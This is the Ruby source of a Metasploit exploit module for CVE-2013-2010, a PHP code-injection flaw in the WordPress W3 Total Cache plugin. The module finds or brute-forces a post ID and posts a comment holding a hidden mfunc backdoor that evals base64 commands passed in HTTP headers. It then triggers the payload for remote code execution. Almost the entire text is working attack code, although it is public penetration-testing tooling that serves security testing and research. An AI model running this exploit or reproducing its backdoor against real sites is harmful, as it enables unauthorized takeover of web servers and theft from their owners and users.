208 lines
7.2 KiB
Ruby
208 lines
7.2 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
include Msf::Exploit::Remote::HTTP::Wordpress
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'WordPress W3 Total Cache PHP Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a PHP Code Injection vulnerability against WordPress plugin
|
|
W3 Total Cache for versions up to and including 0.9.2.8. WP Super Cache 1.2 or older
|
|
is also reported as vulnerable. The vulnerability is due to the handling of certain
|
|
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is
|
|
needed in order to add the malicious comment. If the POSTID option isn't specified,
|
|
then the module will automatically find or bruteforce one. Also, if anonymous comments
|
|
aren't allowed, then a valid username and password must be provided. In addition,
|
|
the "A comment is held for moderation" option on WordPress must be unchecked for
|
|
successful exploitation. This module has been tested against WordPress 3.5 and
|
|
W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Unknown', # Vulnerability discovery
|
|
'juan vazquez', # Metasploit module
|
|
'hdm', # Metasploit module
|
|
'Christian Mehlmauer' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2013-2010' ],
|
|
[ 'OSVDB', '92652' ],
|
|
[ 'BID', '59316' ],
|
|
[ 'URL', 'http://wordpress.org/support/topic/pwn3d' ],
|
|
[ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ],
|
|
[ 'WPVDB', '6622' ]
|
|
],
|
|
'Privileged' => false,
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
},
|
|
'Targets' => [ ['Wordpress 3.5', {}] ],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Apr 17 2013'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),
|
|
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
|
|
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
|
|
], self.class)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptInt.new('MIN_POST_ID', [ false, 'Specify the first post_id used for bruteforce', 1]),
|
|
OptInt.new('MAX_POST_ID', [ false, 'Specify the last post_id used for bruteforce', 1000])
|
|
])
|
|
end
|
|
|
|
def require_auth?
|
|
@user = datastore['USERNAME']
|
|
@password = datastore['PASSWORD']
|
|
|
|
if @user and @password and not @user.empty? and not @password.empty?
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
end
|
|
|
|
def post_comment(text)
|
|
php_payload = "#{text}<!--mfunc if(isset($_SERVER['HTTP_SUM'])) { if (sha1($_SERVER['HTTP_SUM']) == '#{@sum}' ) { eval(base64_decode($_SERVER['HTTP_CMD'])); } } --><!--/mfunc-->"
|
|
|
|
if @auth
|
|
uri = wordpress_post_comment_auth(php_payload, @post_id, @cookie)
|
|
else
|
|
author = rand_text_alpha(8)
|
|
author_email = "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com"
|
|
author_url = rand_text_alpha(8)
|
|
uri = wordpress_post_comment_no_auth(php_payload,
|
|
@post_id,
|
|
author,
|
|
author_email,
|
|
author_url
|
|
)
|
|
@unauth_cookie = wordpress_get_unauth_comment_cookies(author, author_email, author_url)
|
|
end
|
|
uri
|
|
end
|
|
|
|
def exploit
|
|
unless wordpress_and_online?
|
|
fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site")
|
|
end
|
|
|
|
@auth = require_auth?
|
|
|
|
if @auth
|
|
print_status("Trying to login...")
|
|
@cookie = wordpress_login(@user, @password)
|
|
if @cookie.nil?
|
|
fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")
|
|
end
|
|
print_status("login successful")
|
|
else
|
|
print_status("Trying unauthenticated exploitation...")
|
|
end
|
|
|
|
if datastore['POSTID'] and datastore['POSTID'] != 0
|
|
@post_id = datastore['POSTID']
|
|
print_status("Using the user supplied POST ID #{@post_id}...")
|
|
else
|
|
print_status("Trying to get posts from feed...")
|
|
all_posts = wordpress_get_all_blog_posts_via_feed
|
|
# First try all blog posts provided by feed
|
|
if all_posts
|
|
all_posts.each do |p|
|
|
vprint_status("Checking #{p}...")
|
|
enabled = wordpress_post_comments_enabled?(p, @cookie)
|
|
@post_id = get_post_id_from_body(enabled)
|
|
if @post_id
|
|
print_status("Found Post POST ID #{@post_id}...")
|
|
break
|
|
end
|
|
end
|
|
end
|
|
# if nothing found, bruteforce a post id
|
|
unless @post_id
|
|
print_status("Nothing found. Trying to brute force a valid POST ID...")
|
|
min_post_id = datastore['MIN_POST_ID']
|
|
max_post_id = datastore['MAX_POST_ID']
|
|
@post_id = wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, @cookie)
|
|
if @post_id.nil?
|
|
fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
|
|
else
|
|
print_status("Using the brute forced POST ID #{@post_id}...")
|
|
end
|
|
end
|
|
end
|
|
|
|
random_test = rand_text_alpha(64)
|
|
@sum = Rex::Text.sha1(random_test)
|
|
|
|
print_status("Injecting the PHP Code in a comment...")
|
|
text = Rex::Text::rand_text_alpha(10)
|
|
post_uri = post_comment(text)
|
|
if post_uri.nil?
|
|
fail_with(Failure::Unknown, "#{peer} - Expected redirection not returned")
|
|
end
|
|
|
|
print_status("Executing the payload...")
|
|
options = {
|
|
'method' => 'GET',
|
|
'uri' => post_uri,
|
|
'headers' => {
|
|
'Cmd' => Rex::Text.encode_base64(payload.encoded),
|
|
'Sum' => random_test
|
|
}
|
|
}
|
|
options.merge!({'cookie' => @cookie}) if @auth
|
|
# Used to see anonymous, moderated comments
|
|
options.merge!({'cookie' => @unauth_cookie}) if @unauth_cookie
|
|
res = send_request_cgi(options)
|
|
if res and res.code == 301
|
|
fail_with(Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")
|
|
end
|
|
|
|
if res and !res.body.match(/#{Regexp.escape(text)}/)
|
|
fail_with(Failure::Unknown, "#{peer} - Comment not in post, maybe comments are moderated")
|
|
end
|
|
|
|
end
|
|
|
|
def check
|
|
res = wordpress_and_online?
|
|
unless res
|
|
vprint_error("#{peer} does not seeem to be Wordpress site")
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/
|
|
version = $1
|
|
if version <= "0.9.2.8"
|
|
return Exploit::CheckCode::Appears
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
if res.body and (res.body =~ /Performance optimized by W3 Total Cache/ or res.body =~ /Cached page generated by WP-Super-Cache/)
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
end
|